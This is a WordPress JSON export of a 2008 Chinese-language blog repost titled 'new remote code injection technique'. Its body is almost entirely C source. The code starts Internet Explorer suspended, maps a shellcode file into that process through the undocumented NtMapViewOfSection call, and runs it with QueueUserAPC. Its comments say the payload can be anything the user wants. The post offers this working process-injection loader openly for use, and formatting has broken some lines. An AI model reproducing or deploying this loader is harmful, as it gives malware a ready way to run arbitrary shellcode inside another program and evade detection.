{"id":18,"date":"2008-12-06T03:04:00","date_gmt":"2008-12-06T03:04:00","guid":{"rendered":"http:\/\/www.houquner.com\/?p=48"},"modified":"2008-12-06T03:04:00","modified_gmt":"2008-12-06T03:04:00","slug":"%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%b3%a8%e5%85%a5%e6%96%b0%e6%8a%80%e6%9c%afzz","status":"publish","type":"post","link":"https:\/\/www.houquner.com\/index.php\/archives\/18","title":{"rendered":"\u8fdc\u7a0b\u4ee3\u7801\u6ce8\u5165\u65b0\u6280\u672f(ZZ)"},"content":{"rendered":"

\u670b\u53cbyole\u5206\u4eab\u8fc7\u6765\u7684!!
\n\u7814\u7a76\u51fa\u4e86\u4e00\u79cd\u65b0\u7684\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u4ee3\u7801\u7684\u53ef\u80fd\u6027\uff0c\u5c31\u662f\u5229\u7528\u4e00\u4e2a\u672a\u516c\u5f00\u51fd\u6570\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u5730\u5740\u7a7a\u95f4\u5199\u5165\u4ee3\u7801\uff0c\u5e76\u4e14\u7528\u4e00\u79cd\u65b0\u7684\u6280\u672f\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u5b83\uff0c\u8fd9\u79cd\u6280\u672f\u5b8c \u5168\u5de5\u4f5c\u5728\u7528\u6237\u6a21\u5f0f\u4e0b\uff0c\u5e76\u4e14\u4e0d\u9700\u8981\u7279\u6b8a\u7684\u6761\u4ef6\u6bd4\u5982\u50cf\u7ba1\u7406\u5458\u6743\u9650\u6216\u8005\u4e4b\u7c7b\u7684\u8981\u6c42\u3002\u8ba9\u6e90\u7801\u8bf4\u660e\u4e00\u5207:(\u6211\u4e3a\u6211\u7684\u82f1\u6587\u6c34\u5e73\u611f\u5230\u62b1\u6b49,\u6211\u6765\u81ea\u5fb7\u56fd)<\/p>\n

CODE:<\/p>\n

define _WIN32_WINNT 0x0400<\/h1>\n

include <windows.h><\/h1>\n

typedef LONG NTSTATUS, *PNTSTATUS;<\/p>\n

define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)<\/h1>\n

typedef enum _SECTION_INHERIT
\n{
\nViewShare = 1,
\nViewUnmap = 2
\n} SECTION_INHERIT;<\/p>\n

typedef NTSTATUS (__stdcall func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER<\/em>, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );<\/p>\n

func_NtMapViewOfSection NtMapViewOfSection = NULL;
\nLPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
\nDWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
\n{
\nNTSTATUS Status;
\nLARGE_INTEGER SectionOffset;
\nULONG ViewSize;
\nULONG Protect;
\nLPVOID ViewBase;
\n\/\/ \u8f6c\u6362\u504f\u79fb\u91cf<\/p>\n

SectionOffset.LowPart = dwFileOffsetLow;
\nSectionOffset.HighPart = dwFileOffsetHigh;<\/p>\n

\/\/ \u4fdd\u5b58\u5927\u5c0f\u548c\u8d77\u59cb\u5730\u5740<\/p>\n

ViewBase = lpBaseAddress;
\nViewSize = dwNumberOfBytesToMap;<\/p>\n

\/\/ \u8f6c\u6362\u6807\u5fd7\u4e3aNT\u4fdd\u62a4\u5c5e\u6027<\/p>\n

if (dwDesiredAccess & FILE_MAP_WRITE)
\n{
\nProtect = PAGE_READWRITE;
\n}
\nelse if (dwDesiredAccess & FILE_MAP_READ)
\n{
\nProtect = PAGE_READONLY;
\n}
\nelse if (dwDesiredAccess & FILE_MAP_COPY)
\n{
\nProtect = PAGE_WRITECOPY;
\n}
\nelse
\n{
\nProtect = PAGE_NOACCESS;
\n}<\/p>\n

\/\/\u6620\u5c04\u533a\u6bb5<\/p>\n

Status = NtMapViewOfSection(hFileMappingObject,
\nhProcess,
\n&ViewBase,
\n0,
\n0,
\n&SectionOffset,
\n&ViewSize,
\nViewShare,
\n0,
\nProtect);
\nif (!NT_SUCCESS(Status))
\n{
\n\/\/ \u5931\u8d25<\/p>\n

return NULL;
\n}<\/p>\n

\/\/\u8fd4\u56de\u8d77\u59cb\u5730\u5740<\/p>\n

return ViewBase;
\n}<\/p>\n

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
\n{
\nHMODULE hDll = LoadLibrary( “ntdll.dll” );<\/p>\n

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, “NtMapViewOfSection”);<\/p>\n

\/\/ \u53d6ShellCode,\u4efb\u4f55\u4f60\u60f3\u5b9e\u73b0\u7684<\/p>\n

HANDLE hFile = CreateFile (“C:shellcode.txt”, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);<\/p>\n

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);<\/p>\n

\/\/ \u542f\u52a8\u76ee\u6807\u8fdb\u7a0b<\/p>\n

STARTUPINFO st;
\nZeroMemory (&st, sizeof(st));
\nst.cb = sizeof (STARTUPINFO);<\/p>\n

PROCESS_INFORMATION pi;
\nZeroMemory (&pi, sizeof(pi));<\/p>\n

CreateProcess (“C:ProgrammeInternet Exploreriexplore.exe”, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);
\n\/\/ \u6ce8\u5165shellcode\u5230\u76ee\u6807\u8fdb\u7a0b\u5730\u5740\u7a7a\u95f4<\/p>\n

LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);<\/p>\n

\/\/ \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u80fd\u591f\u5728\u76ee\u6807\u7ebf\u7a0b\u6062\u590d\u662f\u9996\u5148\u6267\u884c\u7684APC<\/p>\n

QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
\nResumeThread (pi.hThread);
\nCloseHandle (hFile);
\nCloseHandle (hMappedFile);
\nCloseHandle (pi.hThread);
\nCloseHandle (pi.hProcess);
\nreturn 0;
\n}<\/p>\n

\u8f6c\u8f7d\u8bf7\u6ce8\u660e\uff1aKermit\u7684\u7f51\u7ad9<\/a> » \u8fdc\u7a0b\u4ee3\u7801\u6ce8\u5165\u65b0\u6280\u672f(ZZ)<\/a><\/p>","protected":false},"excerpt":{"rendered":"

\u670b\u53cbyole\u5206\u4eab\u8fc7\u6765\u7684!! \u7814\u7a76\u51fa\u4e86\u4e00\u79cd\u65b0\u7684\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u4ee3\u7801\u7684\u53ef\u80fd\u6027\uff0c\u5c31\u662f\u5229\u7528\u4e00\u4e2a\u672a\u516c\u5f00\u51fd\u6570\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u5730\u5740\u7a7a\u95f4\u5199\u5165\u4ee3\u7801\uff0c\u5e76\u4e14\u7528\u4e00\u79cd\u65b0\u7684\u6280\u672f\u5728\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u6267\u884c\u5b83\uff0c\u8fd9\u79cd\u6280\u672f\u5b8c \u5168\u5de5\u4f5c\u5728\u7528\u6237\u6a21\u5f0f\u4e0b\uff0c\u5e76\u4e14\u4e0d\u9700\u8981\u7279\u6b8a\u7684\u6761\u4ef6\u6bd4\u5982\u50cf\u7ba1\u7406\u5458\u6743\u9650\u6216\u8005\u4e4b\u7c7b\u7684\u8981\u6c42\u3002\u8ba9\u6e90 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-18","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/18"}],"collection":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/comments?post=18"}],"version-history":[{"count":0,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/18\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/media?parent=18"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/categories?post=18"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/tags?post=18"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}